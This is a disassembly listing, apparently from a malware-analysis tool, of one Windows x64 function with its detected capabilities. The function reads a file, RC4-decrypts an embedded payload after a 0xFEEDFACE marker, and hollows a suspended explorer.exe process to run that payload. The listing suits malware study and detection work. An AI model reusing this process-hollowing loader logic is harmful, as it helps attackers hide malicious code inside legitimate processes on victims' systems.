Function at 0x140001000
Capabilities:
Access peb ldr_data
Create process on windows
Create process suspended
Encrypt data using rc4 ksa
Get file size
Get kernel32 base address
Patch process command line
Read file on windows
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x13d0]
mov eax, 0x14d0
call fcn.1400024e0
sub rsp, rax
mov rax, qword [0x140005018]
xor rax, rsp
mov qword [rbp + 0x13c0], rax
mov rbx, rdx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
lea rcx, [rbp + 0x2c0]
mov r8d, 0xff
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rbx + 8]
xor r13d, r13d
mov rsi, qword [rbx + 0x10]
mov r14d, r13d
mov dword [rbp + 0x144], r13d
mov edi, r13d
test rdx, rdx
je 0x140001126
movups xmm0, xmmword [rdx]
lea rcx, [rbp + 0x2c0]
movups xmmword [rcx], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdx + 0x70]
sub rdx, 0xffffffffffffff80
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rdx + 0x70]
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
movzx eax, byte [rdx + 0x7e]
mov byte [rcx + 0x7e], al
jmp 0x140001138
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov qword [rsp + 0x30], r13
lea rcx, [rbp + 0x2c0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp - 0x80], rax
mov r12, rax
cmp rax, 0xffffffffffffffff
jne 0x14000117c
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
mov qword [rsp + 0x1500], r15
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r9, [rbp + 0x144]
mov qword [rsp + 0x20], r13
mov rdx, rax
mov qword [rsp + 0x78], rax
mov r8d, ebx
mov rcx, r12
mov r15, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [rbp + 0x144], edi
je 0x140001789
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x140001789
movsxd rax, dword [r15 + 0x3c]
lea rcx, [rbp + 0x1c0]
add rax, r15
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x18]
movups xmm1, xmmword [rax + 0x28]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax + 0x88]
add rax, 0x98
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.kernel32
mov dword [rbp + 0x140], r13d
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.IsWow64Process
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400012a9
lea rdx, [rbp + 0x140]
mov rcx, rbx
call rax
cmp dword [rbp + 0x140], edi
je 0x1400012c6
mov eax, 0x20b
cmp word [rbp + 0x1c0], ax
jne 0x1400012da
mov edi, 2
jmp 0x1400012da
mov eax, 0x10b
mov ecx, 0xfffffffe
cmp word [rbp + 0x1c0], ax
cmove edi, ecx
lea eax, [rdi + 4]
mov rcx, r13
mov ebx, dword [rbp + rax*8 + 0x230]
mov edi, dword [rbp + rax*8 + 0x234]
add rbx, r15
test rdi, rdi
je 0x140001328
lea rax, [rbx + 2]
nop word [rax + rax]
cmp byte [rax - 2], 0xfe
jne 0x140001317
cmp byte [rax - 1], 0xed
jne 0x140001317
cmp byte [rax], 0xfa
jne 0x140001317
cmp byte [rax + 1], 0xce
je 0x140001324
inc rcx
inc rax
cmp rcx, rdi
jb 0x140001300
jmp 0x140001328
lea r14d, [rcx + 8]
mov r15d, r14d
lea rax, [rcx + 8]
cmp r15, rax
jne 0x140001789
sub edi, r14d
mov r12d, edi
mov ecx, edi
mov qword [rsp + 0x68], r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea rdx, [r15 + rbx]
mov r8d, edi
mov rcx, rax
mov qword [rsp + 0x70], rax
mov r14, rax
call sub.VCRUNTIME140.dll_memcpy
mov r11, 0xffffffffffffffff
nop dword [rax]
inc r11
cmp byte [rsi + r11], r13b
jne 0x140001370
mov r9d, r13d
mov r8d, r13d
mov r10d, r13d
mov rbx, r13
nop word [rax + rax]
mov eax, r10d
mov byte [rbp + rbx + 0x1c0], r10b
cdq
lea rbx, [rbx + 1]
idiv r11d
inc r10d
movsxd rax, edx
movzx ecx, byte [rax + rsi]
mov byte [rbp + rbx - 0x11], cl
cmp r10d, 0x100
jl 0x140001390
xor edx, edx
nop dword [rax]
movzx eax, byte [rbp + rdx - 0x10]
movzx r10d, byte [rbp + rdx + 0x1c0]
add r9d, eax
add r9d, r10d
and r9d, 0x800000ff
jge 0x1400013ea
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rax, r9d
movzx ecx, byte [rbp + rax + 0x1c0]
mov byte [rbp + rax + 0x1c0], r10b
mov byte [rbp + rdx + 0x1c0], cl
inc rdx
cmp rdx, 0x100
jl 0x1400013c0
xor edx, edx
test edi, edi
jle 0x140001492
mov r9, r14
mov rbx, r12
nop dword [rax]
inc r8d
and r8d, 0x800000ff
jge 0x140001439
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea r10, [rbp + 0x1c0]
add r10, rax
movzx r11d, byte [r10]
add edx, r11d
and edx, 0x800000ff
jge 0x14000145f
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rbp + 0x1c0]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rcx], r11b
mov byte [r10], al
movzx ecx, byte [rcx]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax + 0x1c0]
xor byte [r9], cl
inc r9
sub rbx, 1
jne 0x140001420
mov rax, qword gs:[0x30]
xor r14d, r14d
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov rcx, qword [rax]
mov r15, qword [rcx + 0x30]
movsxd rax, dword [r15 + 0x3c]
mov ecx, dword [rax + r15 + 0x88]
add rcx, r15
mov eax, dword [rcx + 0x14]
mov r13d, dword [rcx + 0x1c]
mov edx, dword [rcx + 0x20]
add r13, r15
mov r12d, dword [rcx + 0x18]
add rdx, r15
mov ecx, dword [rcx + 0x24]
add rcx, r15
mov dword [rbp + 0x140], eax
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], rcx
test eax, eax
je 0x14000155a
mov eax, dword [r13]
test eax, eax
je 0x14000154a
xor edi, edi
mov qword [rsp + 0x60], rax
test r12d, r12d
je 0x14000154a
mov rsi, rdx
mov rbx, rcx
nop dword [rax + rax]
movzx eax, word [rbx]
cmp eax, r14d
jne 0x140001531
mov ecx, dword [rsi]
lea rdx, [0x1400032e0]
add rcx, r15
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000177c
inc edi
add rbx, 2
add rsi, 4
cmp edi, r12d
jb 0x140001510
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
inc r14d
add r13, 4
cmp r14d, dword [rbp + 0x140]
jb 0x1400014f1
xor r8d, r8d
mov rax, qword gs:[0x30]
lea rdx, str.NtQueryInformationProcess
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov rcx, qword [rax + 0x30]
call r8
xorps xmm0, xmm0
lea rdx, str.C:Windowsexplorer.exe
mov rbx, rax
movaps xmmword [rbp + 0x150], xmm0
xor eax, eax
movaps xmmword [rbp + 0x160], xmm0
mov qword [rbp - 0x18], rax
xorps xmm1, xmm1
mov qword [rbp + 0x108], rax
xor r9d, r9d
mov dword [rbp + 0x148], eax
xor r8d, r8d
movaps xmmword [rbp + 0x170], xmm0
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x48], rax
xor ecx, ecx
movaps xmmword [rbp + 0x180], xmm0
lea rax, [rbp + 0x150]
mov qword [rsp + 0x40], rax
movaps xmmword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x1a0], xmm0
movsd xmm0, qword [rbp - 0x18]
mov qword [rsp + 0x38], 0
movsd qword [rbp + 0x1b0], xmm0
xorps xmm0, xmm0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
movups xmmword [rbp + 0xf8], xmm1
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp + 0xf8]
lea rax, [rbp + 0x148]
mov r9d, 0x30
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x110]
xor edx, edx
call rbx
mov rdx, qword [rbp + 0x118]
lea r8, [rbp + 0xf0]
mov rcx, qword [rbp + 0xf8]
add rdx, 0x10
mov r9d, 8
mov qword [rbp + 0xf0], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor edx, edx
lea rcx, [rbp + 0x3c0]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rbp + 0xf0]
lea r8, [rbp + 0x3c0]
mov rcx, qword [rbp + 0xf8]
mov r9d, 0x1000
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movsxd rax, dword [rbp + 0x3fc]
mov rbx, qword [rsp + 0x70]
mov r9, qword [rsp + 0x68]
mov r8, rbx
mov rcx, qword [rbp + 0xf8]
mov edx, dword [rbp + rax + 0x3e8]
add rdx, qword [rbp + 0xf0]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test rbx, rbx
je 0x14000173d
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x1500]
xor eax, eax
mov rcx, qword [rbp + 0x13c0]
xor rcx, rsp
call fcn.1400017e0
lea r11, [rsp + 0x14d0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
mov r8, qword [rsp + 0x60]
add r8, r15
jmp 0x14000155d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]